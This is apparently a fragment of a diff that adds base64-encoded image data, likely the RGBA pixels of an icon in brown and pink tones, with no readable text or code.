+ /wH///8B////Af///wH///8B////Af///wH///8B////AXRvbccsIR3/LCEd/y0hHf8uIR3/LyId/y4i
+ Hf8uIh3/MCMd/y8jHf8vIx3/LyMd/zAjHf8xJB7/MSQe/zowLP8eHh57AAAAUwAAAFMAAABTAAAAUQAA
+ AFEAAABLAAAAQwAAADcAAAAtAAAAMwAAAD8AAABJAAAATwAAAFEAAABTAAAAUwAAAFMAAABTWFRSzzQl
+ Hf80JR3/MiQd/zIjHf8xIx3/MCId/zAiHf8wIx3/LyId/zAjHf8uIh3/LiEd/ywhHf8uIh3/LSEd/1JN
+ TOVvbW0N////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGNiYgzSkI+/S0h
+ HP8uIRz/LiEc/y4hHP8uIhz/LiIc/y8iHP8vIhz/LyIc/zAjHf8vIhz/MCIc/zEjHf8wIhz/Ozc13wMD
+ A1MAAABTAAAAUwAAAFMAAABTAAAAUwAAAFMAAABRAAAAUQAAAFEAAABRAAAAUwAAAFMAAABTAAAAUwAA
+ AFMAAABTOzo6iUQ3Mf80JB3/NiUd/zIjHP8wIxz/MCIc/y8iHP8wIhz/MCIc/y8iHP8uIRz/LiEc/y0g
+ Hf8tIB3/LSIc/zsxLf91c3Jd////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AYaCgJcvIhz/LiEb/y4hG/8wIhz/LyIc/y8iHP8uIRv/LiEb/y8hG/8uIRv/MCIc/zAi
+ HP8wIhz/MSMd/zAkH/8pKSiZAAAAUwAAAFMAAABTAAAAUwAAAFMAAABTAAAAUwAAAFMAAABTAAAAUwAA
+ AFMAAABTAAAAUwAAAFMAAABTCgoKWWdgXeszIxz/MiIc/zQjHP8yIhz/MSIc/zIjHP8vIhv/LyIb/y8i
+ G/8vIRz/LiEc/y4hHP8tIRz/LSEc/y4hHP9wbWvD////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wGXk5ITZV5b7S0gG/8tIBv/LSAb/y0gG/8uIRv/LSAb/y4h
+ G/8yIx3/LiEb/y4hG/8yIxz/LyEb/y4hG/8uIBv/ODEt8wwMDGEAAABTAAAAUwAAAFMAAABTAAAAUwAA
+ AFMAAABTAAAAUwAAAFMAAABTAAAAUwAAAFMAAABTAAAAU1xaWq03KCL/MSIb/zIiG/8yIhv/MiIb/zEi
+ G/8wIRv/LyEb/y8hGv8uIRv/LiEb/y8gG/8uIBv/LiAb/y4gG/9UTEj7i4mIMf///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZWRj2c3KyX/LSAa/ywf
+ Gv8tHxr/LiAa/y4gGv8uIBr/LiAa/y4gGv8uIBr/LSAa/y4gGv8uIBr/LyEb/y4gG/8uLCu9AAAAUwAA
+ AFMAAABTAAAAUQAAAE8AAABJAAAAQQAAAD8AAABHAAAATQAAAFEAAABRAAAAUyUlJW1hV1L7MSMa/zEi
+ Gv8xIRr/MSEa/zEhGv8vIRr/MCEa/y8gGv8vIBr/LiAa/y4gGv8uIBr/LyAa/y4gGv8zJSD/lJKQlf//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wFKSEcDb2hlzSwfGf8sHxn/LR8a/y0fGf8sHxn/LR8Z/y0fGf8vIBr/LiAZ/y4gGf8tHxn/LyAa/y4g
+ Gv8uIBr/MSci/RYWFncAAABLAAAAQwAAADcAAAApAAAAHQAAABEAAAAPAAAAFwAAACUAAAAzAAAAPwEB
+ AUl4dHLPMiIZ/zEiGf8wIhr/MCIa/y8hGf8vIRn/LyAZ/y8gGf8uIBn/LiAZ/y8gGf8vIBn/LyEZ/y8g
+ Gf8vIBn/bWdk615dXBP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8BAAAABQAAAAsAAAAVAAAAIzAvL19IPjn9Kx4Z/ywfGf8sHxn/LB8Z/ysfGf8sHxn/LR8Z/ywf
+ Gf8sIBn/LCAZ/ywgGf8yIhr/LiAZ/y4gGf8yLizVBQUFIwEBARMAAAAJAAAAA////wH///8B////Af//
+ /wH///8BAAAABwoKCg9aWVlnSz02/zEiGf8xIhn/MiIZ/zAhGf8vIRn/LyEZ/y4gGP8uHxj/LR8Y/y0f
+ GP8uHxj/LyAY/zAgGP8vIBj/QjUv/09PT4MAAAAjAAAAFwAAAAsAAAAF////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8BAAAAAwAAAA8AAAAbAAAAJwAAAC8AAAAzX1tarykdF/8pHRf/KR0X/ykd
+ F/8oHBf/KB0X/ykdF/8oHBf/KR0X/yoeGP8rHhj/Kx4Y/yoeGP8qHhj/Kh8a/0VDQmn///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wF+fHsLhnx24zEhGP8wIRj/MiIY/zUjGv8vIBj/Lh8Y/y4f
+ GP8tHhf/LR4X/yweF/8sHRf/LR0X/y4eFv8uHhb/LR4W/3VycNMDAwMzAAAALQAAACcAAAAbAAAADwAA
+ AAX///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAFAAAABwAAAAcAAAAHAwMDB0hG
+ RhteV1TvJhsW/yUaFv8lGxb/JRsV/yUaFv8kGhb/JBoV/yUaFf8pHBb/KRwX/ygbFv8nGxb/JxsW/ycb
+ Fv80LivrVFJQE////wH///8B////Af///wH///8B////Af///wH///8BramoiTQlHv8uHhf/Lh8X/y0e
+ F/8uHxf/LR4X/ywdF/8sHRf/KxwW/yscFv8rHBb/Kx0W/ywdFv8sHRb/LB0W/1hOSf1xb289Dg4OBwAA
+ AAcAAAAHAAAABwAAAAX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8Bm5iWbywiHf8nGxb/JRoV/yUaFP8kGhX/IxkU/yMZFP8jGRT/JRoU/yUa
+ Ff8lGhX/JBoU/yUaFP8lGhX/JRoV/0lGRZn///8B////Af///wH///8B////Af///wH///8Bure2KV9W
+ UvkrHBf/KxwW/yscFv8rHBb/Kx0W/yodFv8pHBb/KRwW/ykcFv8oHBb/KRwW/ysdFv8pHBX/KRwV/y0g
+ Gv+koaCd////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////AaWhoAV3cG7TJRkU/yYaFf8rHRb/JhoV/yQZ
+ FP8kGRP/JBkU/yQYE/8kGRP/JBkU/yQZFP8kGBP/JBkU/yQZFP8pIB39YmBfM////wH///8B////Af//
+ /wH///8B////AZ6Ylr0oGxb/KhwW/yYaFf8mGhX/JhoV/yUZFP8kGRT/JBkU/yUZFP8kGRT/JBkU/yQZ
+ Ff8mGhX/JRoU/yUaFf90bmvvqqinF////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BqKSiQ0I1
+ L/8rGxT/KRsU/ykaFP8nGhT/JhoU/yYaFP8mGhP/JRkT/yUaFP8mGhT/JRkT/yUZFP8mGhT/JxoU/0dC
+ QMf///8B////Af///wH///8B////Abe0s1k9Mi7/JRkU/yUZE/8kGBP/JBgT/yQYE/8kGBP/IxgT/yMY
+ FP8iFxT/IhcU/yMXFP8jGBT/JBgT/yQYE/82LCj/s7Gwb////wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wGSioerMR0U/zMeFf81HhX/MR0V/y0bFP8rGhP/KhoT/yoaE/8sGxT/KhoT/ygZ
+ E/8oGRP/KRoU/y0cFf8qHBX/XFhXY////wH///8B////Abm2tQ14cW7lKBoU/yYZE/8mGBP/JRgT/yQX
+ E/8jFxL/IhYS/yIXE/8hFxP/IRYT/yEXE/8iFhP/IxcT/yMXE/8jFxL/k4+O0bm3tgX///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8Bp6CdH2JRSvU9IRX/gmFW/0QkGP80HRX/MBwT/y8c
+ E/8vHBP/NB8U/y4bE/8tGxP/LRsT/y0bFP8sGxP/KxoU/zoxLuljX14R////Af///wGopKONLB0Y/ygY
+ E/8oGBP/JxgT/ycYE/8mFxL/JRcS/yQWEv8jFhL/JBYT/yYYFf8iFhL/IRYS/yIWEv8jFhL/TkVC/7e1
+ tD////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgl5N9PyQZ/1Iv
+ If8/Ihb/Nh4U/zMdE/8xHBP/MhwT/zIdE/8zHRP/MR0T/zEdE/8xHBP/LxwT/y4bE/8sGhP/VVBOk///
+ /wGvq6otVEhE+ykYE/8pFxP/KRgT/ykYE/8pGBP/KBcT/ycXE/8nFxP/JBYS/ycXE/8wHhn/JBUS/yQV
+ Ev8lFhL/JhgU/6Ogn6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8BqqKfCXpsZ981HBP/NBwT/zIcEv8xHBL/MRwS/zAbEv8xHBL/MhwS/zIbEv8yHBP/MhwT/zIc
+ E/8wHBL/MBwS/zIjHft4dHIxh398wTEcE/8tGhL/LBkT/y0aE/8wGxX/MRsW/ywZFP8pFxP/KBYS/ygW
+ Ev8nFhL/JxYS/yYWEv8nFhL/JxYS/3BnZfOtqqkb////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wGmn5xRQS4m/zEbEv8xGxL/MRsS/zEbEv8xGxL/MhsS/zQc
+ Ev80HBL/NRwT/zQbE/85HhX/MRsS/zIbEv8zHBL/TUVB5z8rI/8zHBP/MhwS/zMcE/81HRX/VDUu/4Bj
+ XP82HRf/MRwU/ywZE/8qGBL/KRcS/ygWEf8nFhH/LRoU/z8tKP+0sbB3////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYyAe7s3HBL/NxwR/zcc
+ Ef83HRH/OB0S/zkdEv85HhL/Oh0T/zseFP87HhT/OB0T/zUcEv80HBL/NRwS/zMbEv8zHBL/NRwS/zQc
+ Ev81HRP/OB4U/0QkHP9TMin/OR4W/zQcFP8vGRP/OCEY/y0YEv8rFxH/KhcR/ykWEf+QiYfZuLW0B///
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGon5spZUpA+UchE/9HIhL/RyIS/0giEv9HIhP/RiET/0giFf9iOi7/ZT4z/0QhFf89HhL/PB4T/zod
+ E/82HBL/NhwS/zUcEv81GxL/NRwS/zYcE/84HBT/PR8V/zccE/86HhX/MxoT/zIZEv8xGRL/LxgR/y4X
+ Ef9NPTn/tbGwSf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////AaSSi41iLRf/Yy0V/2QuFf9kLRX/YiwV/18rFf9fKxb/bzso/249
+ K/9TJxb/SiMU/1AqHP9NKh3/PR0S/zsdEv84GxL/NhoS/zUZEv81GhL/NhoS/zkcE/83GxL/Sy4i/zkc
+ E/81GhL/MxkR/zEYEf8xGBL/opyar////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wG4pp8Pm3Ni54JBJP+DQiX/g0Ek/4FA
+ I/9+PSD/ezsf/3k6IP9zNhz/azEY/2EtFf9XKBT/UCUT/0ojE/9FIRP/QB4S/zscEf86GxL/OBoS/zYa
+ Ev83GhL/OBsS/zcbEf84GxH/NxsR/zYaEf81GRD/cWJd9bSvrSH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Ab6p
+ oGGcYEX/nV0//55dP/+eXT//nVw+/5hVOP+SUDP/jUsw/4VEKP98PiH/dDcb/2wyGP9kLhb/XCoV/1El
+ FP9IIRP/Qh4S/z0cEv87HBL/OhsS/zobEf88HBL/OhwQ/zocEP85GxD/QCUc/7CqqYH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8Bvp+Qx7d5Wf+5fFz/uHpb/7d5Wv+ydFX/rW5Q/6RkSP+iZEn/j00w/4lI
+ K/+FRCj/gT8m/3k5IP9uMRr/YisW/1YlFP9LIRP/RR8S/0IeEv89HBH/PRwR/z4cEf8+HRH/OxsQ/4h8
+ d9+wqqgJ////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Acm3rTW+j3T9voNh/7yAX/+5fVz/uHta/7V4
+ WP+xdFb/r3BT/6prTf+iYkT/nFo//5tXPv+PSjL/g0Ao/3o4IP9vMBn/YyoW/1gmFP9PIxP/RyAS/0Uf
+ Ev9GHxH/Qx8R/1I4Lv+spqRR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BxK6hnbZ5
+ V/+qa0r/n2A+/5tbOv+ZWTn/l1c4/5ZVNv+XVTf/nVo+/6dlS/+talL/pWFJ/5lWP/+GQiv/fToj/3Y0
+ Hf9tLxj/YyoV/1onFP9VJRP/UyQS/0wiEv+Wi4i5////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Ace1qhe1jHbvpmZF/5ZVNf+NSiz/jEkr/41KLf+VUDX/pmJG/7d1Wv/AfWT/unRe/714
+ Yv+2clz/oltF/49GMv+GQCv/fjoj/3Y0HP9vLxj/aSwW/2ApFP9wUUb5oZiVJ////wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8BuKSacZFTNv+JRij/iEUn/4hEKP+QSzH/pF9G/714
+ YP/MiXD/xn9p/8Z9av/QiXX/zYZy/8J7Z/+xaFX/n1RC/5BINP+FPyn/fjoj/3k2Hv9xNB7/koWAif//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbilnQWif3DVhUIl/4VC
+ JP+KRSn/nVc+/7p1Xf/OiXD/0Idy/9SMev/bkX//4JeD/92Vgv/Xj3v/z4Zz/8F3Zf+qX03/mU88/49H
+ M/+JQi3/gmJY5ZOEfw3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8BtaOaRYtSO/+JRCj/mlM6/7hyWf/Ri3P/04pz/86Abv/Zi3n/45aE/+mdi//nnYr/4pmF/9+X
+ g//Zj3z/zYNx/7drWv+oXEv/k1VG/4h7d1n///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wGdgHW5mVE3/7ZuVf/RinH/04pz/8p8af/RgHD/349+/+ma
+ iv/voZH/7aGQ/+ibiv/kmIf/5ZmI/+OXhf/YjHv/x3hq/4luacf///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGEd3IXeE9A77JpUP/OhWz/1Ypz/8t9
+ af/KeWj/1oR0/+eVhv/woZL/86aZ//Kklv/snY3/6pyL/+6hkP/vpJT/7J+Q/+SWhv+abWTxinp3Gf//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BcFxVo6he
+ Rv/GemP/1Ylz/9CBbv/Me2r/0X9v/+GOf//wnpH/9qme//ato//1qJ7/7p+R/+qbjP/woJL/9Kug//Kx
+ pf/yrZ//7qWW/4p3c6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8BemtnQZJVRP/EdV//1YZw/9WFcv/SgHD/1YFy/96Ke//vnI3/96uh//i0rf/4t7D/9q+o//Ki
+ lv/tmo7/8Z6S//Wqov/1taz/9biu//S3rP/LmZH/in17R////wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8BiHp3B4BcU9fHdGH/3It3/+CPfP/ciHj/3oh6/+ONgP/tmIn/96mf//m3
+ sf/5vrr/+b+8//e2sf/0qKD/8p6T//Ogl//1qKL/97Ou//e6s//2vLX/9r61/56FgdmLgX8J////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////AYRybnvEeWf/4It6/+qXhv/qlYX/5pCC/+qT
+ h//wmYz/9qOZ//m0rv/6wr//+sfD//nHw//4u7j/96ym//Wkm//1o53/96ik//myr//5ubX/+Lu4//i/
+ uv/quLL/h3x6gf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZWEgSGteW315I99//Gb
+ i//zn4//85yO//KZjv/2npT/96Sa//muqP/6vLn/+8jF//vMyf/6yMX/+bu5//iuqv/2pqD/96ah//iq
+ p//5sK7/+be2//q7uv/5vbv/+cG//7mZl/eMgYEl////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGcgHq15pB+//Sgkf/2ppv/+Kif//imnv/4pZ3/+Kih//quqv/6t7T/+8LA//vLyv/7zsz/+8jG//q5
+ uP/5r6z/96ik//ippv/5sK//+rGx//q2t//6urr/+728//u/v//6xMP/kYGBu////wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wGbi4hT1o5+//WhkP/4qp//+a+o//qzrv/6vbj/+ayl//qyrf/6t7T/+8C9//zJ
+ yP/8z87//M/O//zHxv/7urn/+a+t//iqp//5rKr/+rCw//u1tP/7ubj//Ly8//y8vP/8vr3//MPC/9uv
+ rv+JgH9Z////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wGdlZMNspiS4/arnP/4q6D/+rGq//u1sP/6sqz/+rGq//m0
+ r//7ubX/+8C///zHxf/8zs3//NPR//3Pzv/9xcT//Ly6//qzsP/5sK3/+bGu//qzsf/7ubj//Ly6//y+
+ vf/8v73//MHA//3Ew//9yMb/po6N5ZCHhg////8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BkYWDjfPMw//708z/+762//q1
+ r//6trH/+rWv//u2sP/6uLT/+7+8//3Hxf/8ysj//NTS//3U0v/+z87//cXD//y9u//6trP/+rOw//q2
+ s//7ubX/+7y4//2/vf/9wsH//cPC//3Fw//8yMb//crI//TFw/+IfXyT////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bi4KALcis
+ pfv81tD//NjT//zZ1f/7yMT/+riy//u7tv/7urb/+767//zGw//9ysj//MvI//3Rz//91dP//dLQ//7J
+ x//8wb7/+7m2//u2s//8urb//L25//zAvf/9xMH//cfE//3Jxv/9ysj//cvJ//3Myv/9zcv/xaSj/Y2E
+ gzP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AZ2MicX81tD//NfS//zZ1P/92tf//NrW//zPyv/7v7v//L+8//zEwf/9y8j//MnG//zL
+ yf/90tD//tbU//7Sz//5yMb//cTA//u7t//7ubX/+7u3//zBvf/9x8P//crH//3Lyf/9zcv//c7M//7N
+ y//+zsv//tDO//3Rz/+XiIfLkYqKA////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////AZaOjGPnxb7/+9bP//zY0//929b//drW//za1v/82dX//dfU//3I
+ xP/8yMP//crH//zIw//8zMn//dXS//7X1f/qysj/rpqZ8/3Iw//8wLz/+724//y+uf/8xsH//MvI//3P
+ zP/9z8z//NHO//3Szv/908///dLP//3T0P/909D/5cG+/4uEg2v///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////AaKamBW+pqHr+9TL//vX0P/82dT//dnU//zZ
+ 1f/82db//NnV//3c2f/93dn//dPQ//zLxv/8ycT//M/M//3V0f/81dL/1czLtbWurV3furf//MfC//vD
+ vv/7w73//MrG//3QzP/909D//tPQ//3U0P/91dH//dTR//3U0f/91tL//tbS//3V0v+ynJrvl4+OGf//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGpm5ef983B//rU
+ yv/82NL//NnT//zZ1P/82dX//NnV//3Z1f/93Nj//d/c//3h3v/91c///MrD//3Oyf/91ND/59DO99vU
+ 0yX///8Bw7e2w/rKxP/8ycL/+8fA//vMxv/80s7//NfU//3Z1f/92dX//drW//3Z1f/92NT//dnV//3Z
+ 1f/92NT/+NDN/5aMi6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGyp6Q93Lis/frPwv/71cz//NbQ//zX0P/82dT//NjS//zY0//82dT//NvW//ze2v/94d3//d/b//zY
+ 0//8zsj/9s/K/9jR0If///8B////AcvCwS/dwb37+8rC//vIwP/81tD//NfT//3X0//93Nf//d3Z//3d
+ 2P/93Nj//NzX//3c1//92tb//dnV//3X0//UtbH/nZWURf///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wG8s68FxK2m0/jJuf/70MX/+9PL//vUy//819H//NfR//zX0f/819H/+9fR//za
+ 1f/83tr//d/b//zc1//829f//d7a/9/PzeHY0M8L////Af///wH///8B08nHj/XJwv/7ysL/+8zF//zQ
+ yv/81tL//NvW//3d2P/83dj//d3Y//zd2P/93dj//d3Y//3b1//92dT//NTQ/62cmdmjm5oH////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8Bu62ndfC/rv/6zL3/+9HF//rRxv/81c3//NXO//zW
+ 0P/71c//+9TN//vUzv/82dP//NvX//3c1//82tT//NnT//HX0//a1NRV////Af///wH///8B////AdnP
+ zg/fy8jn+svC//rLw//7z8j//NXP//zZ1P/829b//N3Y//zc1//83Nf//NzX//zb1v/93Nf//dvW//3X
+ 0f/uyML/opqYf////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BwbOuH9q1p/P4xbT/+sy+//rN
+ v//70cf/+9PK//zVzf/81Mz/+9LL//rQyP/70sv//NfQ//za1P/82dP//NfQ//vWz//d09K9////Af//
+ /wH///8B////Af///wH///8B2dDOX+7Iwf/7y8H/+87G//vTzP/819H//NnT//za1f/829b//NrV//3a
+ 1f/82dP//NnT//zZ0//81s///NLL/8iuqfeso6El////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acm0
+ rLH3vqn/+ca2//rJuf/7zsD/+8/D//vSyP/70sj/+9HG//rOwv/6zcH/+tHG//vVzf/82NH/+9bP//vU
+ zP/m0Mv729TSK////wH///8B////Af///wH///8B////Af///wHYysfD+Mi9//rMwf/70Mf/+9LK//zV
+ zv/818///NjR//zY0P/82ND//NfP//vWz//71s7/+9TM//vRyv/5zcT/rqGeuf///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AcS3sk3qtaH/+L+r//nDsf/6yrr/+sy9//rOwP/7z8L/+87C//rNwP/6y7z/+su8//rN
+ wf/60sr/+9XM//vUy//0z8f/1s/Oj////wH///8B////Af///wH///8B////Af///wH///8B1szKL+TH
+ wPv6yr//+8/G//vQx//70cj//NPL//vVzf/81Mz//NTM//zUzP/80sr/+9PK//vRyf/70cj/+83C/9+4
+ rv+upqNX////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Ab+yrAvRr6Hf97ih//i8p//5xLL/+se1//rJuf/6y73/+sq7//rK
+ vP/5yLj/+ca2//nHt//5zL7/+tDE//rSyf/60cf/28rF59XOzA////8B////Af///wH///8B////Af//
+ /wH///8B////Af///wHTyceR9sq///vNwf/7zsP/+8/F//vRyP/70sn//NLK//vRyf/80cj/+9HH//vQ
+ xf/7z8T/+8/E//rOwv/5yr3/vqag5bKppg////8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wG8qaCH8rCU//e2nP/5vqn/+cGu//nF
+ sv/6ybj/+ca1//nFtf/5w7H/+cKy//nCsP/4xLP/+Mm5//nNv//50MP/68m//9PNy1////8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B08nHD9zIw+n6zL7/+s3A//vOwf/7z8X/+8/G//zR
+ xv/70cX/+9HE//vPxf/7zsH/+s3B//rNwP/6zcH/+cy///DBs/+top+R////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGunpcr16ON+few
+ kv/4uJ//+b6o//nBrP/6xrT/+cSx//nCr//4wKz/+L+s//jArP/4vqr/+MKv//jHtv/5y7z/+My+/9HF
+ wcX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHOxcNf7czD//rM
+ v//6zL7/+s7A//vOwf/70MP/+9DD//vPw//7zsH/+s2///nLvf/5y73/+cy+//nMvf/5ybr/0K6i+7Cn
+ pDP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8Br5GDwfaqiP/3sZT/+Lme//i8o//5wq3/+sOu//nAq//4vqn/+Lyn//i9qP/3vaf/972n//jA
+ rP/4xbP/+cq5/97BuP3Px8Qx////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
